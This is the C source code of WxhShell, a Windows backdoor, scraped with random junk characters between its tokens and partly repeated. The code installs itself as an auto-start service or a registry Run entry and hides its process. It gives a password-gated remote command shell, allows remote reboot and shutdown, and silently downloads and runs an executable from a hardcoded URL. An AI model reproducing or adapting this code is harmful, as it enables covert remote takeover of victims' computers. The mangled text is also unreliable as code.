k if(NULL == hInst ) return 0; c"f-3kFv oH97=> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J,'M4O\S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SW@$ci NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XO.jl" xu YvaK0p0Z if (!NtQueryInformationProcess) return 0; -_=nDH ^O?/yV?4c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _>&X\`D if(!hProcess) return 0; ` Fa~ ha]VWt%} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xQ f* D+rxT:
d CloseHandle(hProcess); t%d Z-Ym X8Bd3-B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^9v4O UG if(hProcess==NULL) return 0; g2+2%6m0 h79}qU HMODULE hMod; `'DmDg char procName[255]; `+]Qz =} unsigned long cbNeeded; =x/X:;)> 'TTLo|@"- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q`Go`v zYH&i6nj CloseHandle(hProcess); N=V==Dbu- OAgniLv if(strstr(procName,"services")) return 1; // 以服务启动 u+9hL4 \[;0KV_ return 0; // 注册表启动 k$n|*kCh } jk;j2YNPw /p/]t,-j2 // 主模块 t*p71U4+I int StartWxhshell(LPSTR lpCmdLine) '+@=ILj> { K%t*8
4j SOCKET wsl; f[]dfLS"W BOOL val=TRUE; .#EFLXs int port=0; W8G,=d}6 struct sockaddr_in door; M`0V~P`^ l5~os> if(wscfg.ws_autoins) Install(); ]a>n:p]e QFA8N port=atoi(lpCmdLine); ~]sc^[ %[GsD9_- if(port<=0) port=wscfg.ws_port; Mc) }\{J :@yEQ#nFp WSADATA data; 1v y*{D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kf3"Wf^q Lw1Yvtn if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &<z1k-&! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d z|or9& door.sin_family = AF_INET; [z:!j$K door.sin_addr.s_addr = inet_addr("127.0.0.1"); x5pdS: door.sin_port = htons(port); 'B|JAi? @@f"%2ZR[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,CJWO bn3 closesocket(wsl); =F|{#F return 1; U4'#T%* } Z{*\S0^ST #<fRE"v:Q if(listen(wsl,2) == INVALID_SOCKET) { i$Ul(? closesocket(wsl); N%@Qf~ return 1; $ Gf(38[w } KYm0@O>; Wxhshell(wsl); l$KA)xbI WSACleanup(); AI2)g1m \
#F return 0; f_OQ./` b`Zx!^ } #~]zhHI &u."A3( // 以NT服务方式启动 `v!urE/gg% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qz_7%c]K[ { k t#fMd$ DWORD status = 0; l:~/<`o DWORD specificError = 0xfffffff; HQdxL*N%^ l\H=m3Bg serviceStatus.dwServiceType = SERVICE_WIN32; ,_ H:J.ik serviceStatus.dwCurrentState = SERVICE_START_PENDING; n&4N[Qlv, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B3`5O[6 serviceStatus.dwWin32ExitCode = 0; gx/,)> E. serviceStatus.dwServiceSpecificExitCode = 0; Y1\ }5k{> serviceStatus.dwCheckPoint = 0; :`#d:.@]o@ serviceStatus.dwWaitHint = 0; %A/0 ' )
w5SUb hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eb\K "ec" if (hServiceStatusHandle==0) return; AR%4D3Dma )r?}P1J7 status = GetLastError(); _yx>TE2e if (status!=NO_ERROR) O/(`S<iip { t>RY7C;PuS serviceStatus.dwCurrentState = SERVICE_STOPPED; iq8<ov
serviceStatus.dwCheckPoint = 0; ub0.J#j@ serviceStatus.dwWaitHint = 0; P`+{@@ serviceStatus.dwWin32ExitCode = status; u~:y\/Y6 serviceStatus.dwServiceSpecificExitCode = specificError; &BLJT9Frx SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2,oKVm+ return; K7B/s9/xs } W(Fv
l {z5--TogJ serviceStatus.dwCurrentState = SERVICE_RUNNING; r,3DTBe serviceStatus.dwCheckPoint = 0; qr^3R&z!} serviceStatus.dwWaitHint = 0; I_#kgp if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eK=xrk } OZF
rtc+ /Iy]DU8 // 处理NT服务事件,比如:启动、停止 \ a<h/4#| VOID WINAPI NTServiceHandler(DWORD fdwControl) G6P?2@ { iC32nY? switch(fdwControl) Gr'
CtO { NO>w+-dGS case SERVICE_CONTROL_STOP: dr}`H,X"3 serviceStatus.dwWin32ExitCode = 0; |bHelD| serviceStatus.dwCurrentState = SERVICE_STOPPED; )p0^zv{ serviceStatus.dwCheckPoint = 0; ItVWO:x&v serviceStatus.dwWaitHint = 0; BwGfTua { K`WywH3- SetServiceStatus(hServiceStatusHandle, &serviceStatus); . B9iLI } drP=A~?&: return; Tya1/w4 case SERVICE_CONTROL_PAUSE: |Nn)m serviceStatus.dwCurrentState = SERVICE_PAUSED; K~{$oD7! break; ?0?#U0(;u case SERVICE_CONTROL_CONTINUE: Q7\w+ANf0 serviceStatus.dwCurrentState = SERVICE_RUNNING; jDfC=a]) break; L|:`^M+^w case SERVICE_CONTROL_INTERROGATE: I\{ 1u break; 9'giU r }; C*_C;6.~Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); .CABH,Po: } -q1??u ,X-bJA@( // 标准应用程序主函数 ci.+pF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @/.;Xw] { DDP/DD;n}r /{aj}M0kN // 获取操作系统版本 p!7FpxZY OsIsNt=GetOsVer(); 2d #1=+V GetModuleFileName(NULL,ExeFile,MAX_PATH); RuA*YV =JEv,ZGT3 // 从命令行安装 /<=u\e'rE if(strpbrk(lpCmdLine,"iI")) Install(); 4{U T!WIi ^e _hLX\SW // 下载执行文件 @s;;O\ if(wscfg.ws_downexe) { EzM
?Nft if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w!-gJmX> WinExec(wscfg.ws_filenam,SW_HIDE); 4K#>f4(U`g } B$fPgW- a`E#F]Z if(!OsIsNt) { p
Z|V
3 // 如果时win9x,隐藏进程并且设置为注册表启动 )9{0]u;9 HideProc(); TOB-aAO StartWxhshell(lpCmdLine); nLZTK&7} } [I,Z2G,Jb else X1x#6
oi if(StartFromService()) kzQ+j8.,U // 以服务方式启动 s^G.]%iU StartServiceCtrlDispatcher(DispatchTable); 'j8:vq^d else jKAEm // 普通方式启动 }_M~2L?i StartWxhshell(lpCmdLine); RNEp4x Cx@);4arj return 0; 1y@i}<9F } 8sWJcmVo H7&8\FNa )np:lL$$ m{Wu"
;e =========================================== qdJ=lhHM} [[Ls_ZL!= ^+>laOzC`8 hc(#{]]. ky,(xT4 *MFIV02[N " E!)xj.aS$ 5FPM`hLT #include <stdio.h> %ufN8w!p #include <string.h> >^?u
.gM3 #include <windows.h> )5Q~I,dP #include <winsock2.h> `iFmrC< #include <winsvc.h> :S{BbQ){] #include <urlmon.h> R6<X%*&% ^qvZXb #pragma comment (lib, "Ws2_32.lib") Zgp4`)}: #pragma comment (lib, "urlmon.lib") 6m/r+?' 1Z/(G1 #define MAX_USER 100 // 最大客户端连接数 @p9i #define BUF_SOCK 200 // sock buffer *k7+/bU~~ #define KEY_BUFF 255 // 输入 buffer &T?RZ2 K-^\"
W8 #define REBOOT 0 // 重启 Y!aSs3c #define SHUTDOWN 1 // 关机 <[a=ceL]| :DK {Vg6 #define DEF_PORT 5000 // 监听端口 dK$XNi13.5 6##_%PO<m #define REG_LEN 16 // 注册表键长度 W@M:a #define SVC_LEN 80 // NT服务名长度 <6%?OJhp !,_u)4 // 从dll定义API y1jCg%'H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n K1Slg#U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9d0@wq. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V@.Ior}w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k>Is:P NR$3%0 nC6 // wxhshell配置信息 ^2:p|:Bz!l struct WSCFG { ].avItg int ws_port; // 监听端口 j7Yu>cr char ws_passstr[REG_LEN]; // 口令 Q^P}\wb> int ws_autoins; // 安装标记, 1=yes 0=no '0;l]/i. char ws_regname[REG_LEN]; // 注册表键名 >>4qJ%bL char ws_svcname[REG_LEN]; // 服务名 6$hQ35 char ws_svcdisp[SVC_LEN]; // 服务显示名 ^`i#$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 etQCzYIhn char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B9 _X;c int ws_downexe; // 下载执行标记, 1=yes 0=no !NK1MU?T) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Py`P'+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;DQ ZT \{_q.;} }; RT4x\&q q_: 4w$> // default Wxhshell configuration "`/h#np struct WSCFG wscfg={DEF_PORT, +q<jAW A "xuhuanlingzhe", \k7"=yx 1, #"6Qj'/h "Wxhshell", djl*H "Wxhshell", OU\ ~:: "WxhShell Service", 1/B>XkCJ "Wrsky Windows CmdShell Service", @,j*wnR "Please Input Your Password: ", LG9+GszX 2 1, fCd&D "http://www.wrsky.com/wxhshell.exe", ;J( 8
L "Wxhshell.exe" 94`7a<&ZNL }; 0@0w+&*"@ D(op)]8 // 消息定义模块 [T4J{y64Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <Xhm`rH char *msg_ws_prompt="\n\r? for help\n\r#>"; IxN9&xa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Q$q=E;X char *msg_ws_ext="\n\rExit."; :wyno#8`- char *msg_ws_end="\n\rQuit."; IVnHf_PzF char *msg_ws_boot="\n\rReboot..."; JPI3[.o char *msg_ws_poff="\n\rShutdown..."; q s!j>x char *msg_ws_down="\n\rSave to "; \[i1JG 9
RgVK{F char *msg_ws_err="\n\rErr!"; 1p3z1_wrs char *msg_ws_ok="\n\rOK!"; GT., ea2ayT char ExeFile[MAX_PATH]; \~mT]
'5 int nUser = 0; 'W^YM@ HANDLE handles[MAX_USER]; k/_ 59@) int OsIsNt; oG?Xk%7&\ / &5,3rU.G SERVICE_STATUS serviceStatus; 1~_{$5[X? SERVICE_STATUS_HANDLE hServiceStatusHandle; 5MJS
~( lZKi'vg7 // 函数声明 -;WGS o int Install(void); &7tbI5na@ int Uninstall(void); |[b{)s?x int DownloadFile(char *sURL, SOCKET wsh); ZyFjFHe+ int Boot(int flag); A;?|&`f void HideProc(void); 8$Y9ORs4 int GetOsVer(void); f
x+/C8GK int Wxhshell(SOCKET wsl); SSMHoJGm void TalkWithClient(void *cs); -=\c_\ O int CmdShell(SOCKET sock); hZt!/?dc int StartFromService(void); _u QOHwn int StartWxhshell(LPSTR lpCmdLine); )MTOU47U &\*(Q*2N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {kR#p %E] VOID WINAPI NTServiceHandler( DWORD fdwControl ); )bscBj@ R~q]JSIC@ // 数据结构和表定义 s`~IUNJ@P SERVICE_TABLE_ENTRY DispatchTable[] = k~1?VQ+?M { 3L}A3de' {wscfg.ws_svcname, NTServiceMain}, ~oY^;/ j {NULL, NULL} ?^\|-Gr }; VRB;$ 5VU2[ \ // 自我安装 ~2-1 j int Install(void) ln
dx"prW { h2fNuu" char svExeFile[MAX_PATH]; ePo}y])2 HKEY key; f(MO_Sj] strcpy(svExeFile,ExeFile); nb%6X82Q aAUvlb // 如果是win9x系统,修改注册表设为自启动 .,6-u if(!OsIsNt) { 8v%o," if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C1QA)E['V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z-)O9PV RegCloseKey(key); [` 7ThHX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v`1M[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xU`p|(SS- RegCloseKey(key); ;NITc return 0; +52{-a,> } I
b5rqU\ } -(H0>Ap } II,8O else { d7bS
wL
[/8%3 // 如果是NT以上系统,安装为系统服务 )lDD\J7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `<d }V2rdz if (schSCManager!=0) &Au@S$ij { >fQMXfoY SC_HANDLE schService = CreateService =@~Y12o?% ( 3/eca schSCManager, IJcsmNWm wscfg.ws_svcname, LZxNAua wscfg.ws_svcdisp, }Jj}%XxKs SERVICE_ALL_ACCESS, `'7R, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O0H.C0} SERVICE_AUTO_START, 4{|"7/PE1 SERVICE_ERROR_NORMAL, mQ"-,mMI svExeFile, c@L< Z` u NULL, {]4LULq NULL, \:LW(&[! NULL, /Lr.e% NULL, [j+sC* NULL O*P.]d ); xr^LFn) if (schService!=0) M/`lM$98: { ('+d.F[109 CloseServiceHandle(schService); 'i|YlMFI g CloseServiceHandle(schSCManager); S)"Jf? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Hr`MB strcat(svExeFile,wscfg.ws_svcname); }3WxZv]I} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]JQULE) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uHRsFlw RegCloseKey(key); S~G]~gt return 0; nQ3A~ () } l,aay-E } SOaoo^,O CloseServiceHandle(schSCManager); +R75v ) } +R:(_:7 } _Y m2/3! 6Q5^>\Y return 1; :7;@ZEe } V>rU.Mp
QU E2+`4g@{8< // 自我卸载 YtLt*Ig% int Uninstall(void) Y8t8!{ytg { V>3X\)qu HKEY key; )0k53-h& WUTowr if(!OsIsNt) { e]$s
t? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9+!hg'9Qn RegDeleteValue(key,wscfg.ws_regname); dqcL]e RegCloseKey(key); 8H`[*|{' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MiX 43Pk] RegDeleteValue(key,wscfg.ws_regname); RT8 ?7xFc RegCloseKey(key); w&.aQGR# return 0; +aAc9'k } 0<*<$U } tX~w{|k } dDGQ`+H9 else { K:WDl;8(d 1{.9uw"2S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A]3k4DLYS if (schSCManager!=0) `EQL" =) { }W,[/)MO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {BU;$ if (schService!=0) Y`wSv NU { bi;1s'Y<D if(DeleteService(schService)!=0) { Yu2Bkq+ CloseServiceHandle(schService); T^]}Oy@e,J CloseServiceHandle(schSCManager); Eu04e N return 0; IV)j1 } '@P^0+B!(. CloseServiceHandle(schService); FHI ;)wn= } )@bQu~Y CloseServiceHandle(schSCManager); ;i+#fQO7Q } VJll } Dv`c<+q(# )whA<lC return 1; U~7c+}:c } !jR=pI fq Jxm.cC5z. // 从指定url下载文件 y"wShAR int DownloadFile(char *sURL, SOCKET wsh) @Do= k { u\JNr}bL HRESULT hr; jEJT-*I1+ char seps[]= "/"; .#pU=v#/[ char *token; 3=ymm^ char *file; v|2T%y_
u char myURL[MAX_PATH]; q> C'BIr char myFILE[MAX_PATH]; uu687|Pm x-3\Ls[I strcpy(myURL,sURL); 7D5]G-}x. token=strtok(myURL,seps); #Mw8^FST while(token!=NULL) kMd.h[X~ { f&
' file=token; ~&bq0( token=strtok(NULL,seps); cExS7~* } D}/vLw :v -3Vx76Y GetCurrentDirectory(MAX_PATH,myFILE); 83q6Sv strcat(myFILE, "\\"); TRq6NB strcat(myFILE, file); R~$qo)v send(wsh,myFILE,strlen(myFILE),0); sLQ^F send(wsh,"...",3,0); E?0%Z&1h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wAW5
Z0D if(hr==S_OK) @MCg%Afw return 0; <UQbt N-B\ else ixD)VcD-f return 1; ySDH"|0 'q:`? nJ^ } pIX`MlBdF CizX<Cr} // 系统电源模块 ~R92cH>L int Boot(int flag) dlTt_. { [u*5z.^ HANDLE hToken; &KRX[2 TOKEN_PRIVILEGES tkp; p=}Nn( N//KPh if(OsIsNt) { %8~NqS|= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u:_,GQ )\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >I&5j/&}+ tkp.PrivilegeCount = 1; W9GVt$T7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |8tilOqI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dNeVo|Y~h if(flag==REBOOT) {
Z>5b;8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f=K]XTw~ return 0; G*P#]eO } ]3.;PWa: else { fS78>*K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ._{H~R| return 0; o:Sa,
!DK }
}?Ai87-{ } _>X+ZlpU: else { b2&0Hx if(flag==REBOOT) { O[JL+g4
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M:B=\&.O return 0; ]|PiF+ } -z%^)VE else { %aVq+kC h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 68WO~* return 0; lp%pbx43s } IKilr' } Vb]=B~ ^` E92KP?i return 1; [j/9neaye } Q:d]imw!O 6fEqqUeV // win9x进程隐藏模块 p]2128kqx void HideProc(void) K:#I { jLHkOk5{: dk4CpN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sw,+p if ( hKernel != NULL ) ud@%5d { #( 146 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zw
S F^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mLLDE;7|} FreeLibrary(hKernel); ,w:U#r~s" } eiaFaYe\ rlSeu5X6 return; =wV<hg)C } SP_75BJ =|y9UlsD // 获取操作系统版本 lE(HFal0-( int GetOsVer(void) 0gP}zM73 { 9W1YW9rL OSVERSIONINFO winfo; Zaf:fsj> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g(7rTyp4) GetVersionEx(&winfo); #rQ2gx4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZdWm:(nkU return 1; w4{<n/" else a:OQGhc= return 0; }?_?V&K| } i^Y+?Sx u?<%q! // 客户端句柄模块 :g=qz~2Xk int Wxhshell(SOCKET wsl) <7Or{:Sc90 { 17"uf.G SOCKET wsh; x,@B(9No struct sockaddr_in client; W ]?G}Q; DWORD myID; Vl=l?A8 vDhh>x( while(nUser<MAX_USER) lc1(t:"[ { 1POmP&fI( int nSize=sizeof(client); ^Hnb}L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4ber!rJM if(wsh==INVALID_SOCKET) return 1; S8wLmd> 5o'FS{6U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o!Ieb if(handles[nUser]==0) :W.(S6O( closesocket(wsh); (!7sE9rP else Ls$D$/:q? nUser++; l\!fj# } /hH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I7vz+>Jr )@l% return 0; n&;85IF1 } kYqU9cB~ vkx7paY_ // 关闭 socket #@9/g void CloseIt(SOCKET wsh) F^t DL: { L~rBAIdD closesocket(wsh); Is)u } nUser--; $%CF8\0 ExitThread(0); wOEj)fp. } :bu/^mW[ kHghPn?8] // 客户端请求句柄 jrlVvzZ void TalkWithClient(void *cs) vMi;+6'n> { UXc-k 5T_n %vz SOCKET wsh=(SOCKET)cs; qo90t{|c char pwd[SVC_LEN]; :0j?oY~e char cmd[KEY_BUFF]; uk<4+x,2) char chr[1]; F3v!AvA| int i,j; @uqd.Q uGf@ while (nUser < MAX_USER) { HZzD VCU [LjT*bi if(wscfg.ws_passstr) { \:# L) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W#4 7h7M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SO|NaqWa //ZeroMemory(pwd,KEY_BUFF); J{p1|+h% i=0; yYIf5S`V] while(i<SVC_LEN) { *v
jmy/3 <ktrPlNuM // 设置超时 g|DF[ fd_set FdRead; 8`q:Gz=M\ struct timeval TimeOut; uB]7G0g: FD_ZERO(&FdRead); b,l$1{ FD_SET(wsh,&FdRead); -[4T TimeOut.tv_sec=8; 1b `1{% TimeOut.tv_usec=0; IXMop7~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gq4Tb
c
oA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gv!2f DbBcQ% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iW]j9} t pwd=chr[0]; x*/tyZg6 if(chr[0]==0xd || chr[0]==0xa) { UAkT*'cB pwd=0; EA@.,7F break; ="1Ind@w!
} a+[KI i++; |B?m,U$A! } Thp[+KP> . oF
&Ff/[ // 如果是非法用户,关闭 socket j78i#}e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /wQy17g } ''A_[J `> e&|'I" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #`qx<y*S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YiXk5B0Uh Avge eJi while(1) { <prk8jSWV YquI $PV _ ZeroMemory(cmd,KEY_BUFF); *<$*"p (+w*[qHe // 自动支持客户端 telnet标准 bQzZy5, j=0; 2prU while(j<KEY_BUFF) { A9KET$i@v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DzAg"6=CS cmd[j]=chr[0]; ?(@
7r_j if(chr[0]==0xa || chr[0]==0xd) { euK5pA>L cmd[j]=0; e[{0)y>= break; >2Y=*K,: } !4ocZmj\ j++; on!,c>nNa } -vAC"8)S vz@A;t // 下载文件 P7[h-3+^ if(strstr(cmd,"http://")) { k90YV( send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6gU96Z if(DownloadFile(cmd,wsh)) o@_q]/Mh send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[Imn\hu else =1@u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D5gFXEeh } zF@/K` else { Q8$}@iA[ W Tcw4 switch(cmd[0]) { b.OsiT;_j <q)# // 帮助 ./XYd"p case '?': { i:dR\|B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Zb;'eDv break; mwO6g~@` } ;t)3F // 安装 Q@= Q0 case 'i': { ynp 8rf if(Install()) i[i4h"$0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); M+oHtX$ else
X hR4ru` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S0$8@"~= break; O4 w(T } #j;^\rSv- // 卸载 UklUw case 'r': { T%+#xl if(Uninstall()) ^ G]J ,+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%o(+d else Xa[.3=bV? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iG$!6;w< break; L]7=?vN=8 } 2'l'8 // 显示 wxhshell 所在路径 K&u_R
case 'p': { ` #0:gEo char svExeFile[MAX_PATH]; aNsBcov3O strcpy(svExeFile,"\n\r"); #x@$lc=k3 strcat(svExeFile,ExeFile); >[f?vrz send(wsh,svExeFile,strlen(svExeFile),0); \eTwXe]Pv break; <(#(hDwy } $L`d&$Vh // 重启 %64)(z case 'b': { I]|Pq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v@sIHb if(Boot(REBOOT)) 'B$yo] send(wsh,msg_ws_err,strlen(msg_ws_err),0); kb%;=t2 else { Xc++b|k closesocket(wsh); NCXRevE ExitThread(0); yNBQGSH } |o"?gB}Dh break; xa'*P=<)C' } Xxj-
6i // 关机 [>3./YH` case 'd': { ]2A^1Del send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ng&%o if(Boot(SHUTDOWN)) .N;=\C* send(wsh,msg_ws_err,strlen(msg_ws_err),0); U)TUOwF else { Vsr.=Nd= closesocket(wsh); D_ 2:k'4 ExitThread(0); +.8
\p5 } j a[Et/r break; sFKX-S~: } 'ycJMYP8 // 获取shell !<|4C6X:4 case 's': { n)/z0n!\ CmdShell(wsh); YRk(u7:0 closesocket(wsh); &<g|gsG` ExitThread(0); 8LJ8
}%* break; O^PKn_OJ } u]wZQl#- // 退出 eu|YCYj)g case 'x': { &3>)qul send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .~db4d] CloseIt(wsh); <V'@ks% break; \&:nFb%= } ~Gp[_ %K // 离开 mM~qBrwL case 'q': { 0JS?; fk send(wsh,msg_ws_end,strlen(msg_ws_end),0); S>+|OCl"; closesocket(wsh); G5_=H,Vmd WSACleanup(); A|[?#S((] exit(1); BR_1MG'{)$ break; R- wp9 ^ } 2szPAuN+ } PQt")[ } NX.6px17 ~NgA // 提示信息 %Xd[(Q) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n8 0?N}
} %Xg4b6<9 } 2DrM3ZU8 6-
YU[HF return; 5~U/ } +/7?HGf \\ij(>CI // shell模块句柄 P5V}#;v int CmdShell(SOCKET sock) "{+QW { c]<5zyl"j1 STARTUPINFO si; ODN/G%l ZeroMemory(&si,sizeof(si)); m~ABC#,2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *R,5h2; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; octL"t8w PROCESS_INFORMATION ProcessInfo;
**0~K" ;\ char cmdline[]="cmd"; dDMJ' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AN m
d! return 0; =*.~BG } uZYF(Yu a!SiX // 自身启动模式 2.y-48Nz int StartFromService(void) T{^rt3a { rXq.DvQ typedef struct A@('pA85 { ~P
qM]^ DWORD ExitStatus; G_tCmu\ DWORD PebBaseAddress; B mb0cFQ DWORD AffinityMask; =I5>$}q_&, DWORD BasePriority;
8W7J3{d ULONG UniqueProcessId; ) q4[zv9 ULONG InheritedFromUniqueProcessId; >|=ts } PROCESS_BASIC_INFORMATION; Uc>lGo1j MchA{p&Ol PROCNTQSIP NtQueryInformationProcess; LOYk9m gVuFHHeUz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }>|s=uGW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y|qTyE% ,qwuLBW HANDLE hProcess; yPp9\[+^j PROCESS_BASIC_INFORMATION pbi; ~8+ Zs `}\
"Aw c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J)>c9w if(NULL == hInst ) return 0; r;2^#6/Z |e&\<LwsP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w2c?.x g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r5/0u(\LB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9*wK@yEl qR{=pR if (!NtQueryInformationProcess) return 0; ;(%QD
3 > P+sW[: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [|L<_.8 if(!hProcess) return 0; >U>(`r* WwFm*4{[o if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zi
i l)\! .X CloseHandle(hProcess); JbbzV> pv&sO~!iC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mJnIwdW* if(hProcess==NULL) return 0; *&W"bOMH* N+xP26D8 HMODULE hMod; c?-H>u char procName[255]; SfyQ$$Z unsigned long cbNeeded; F>l]
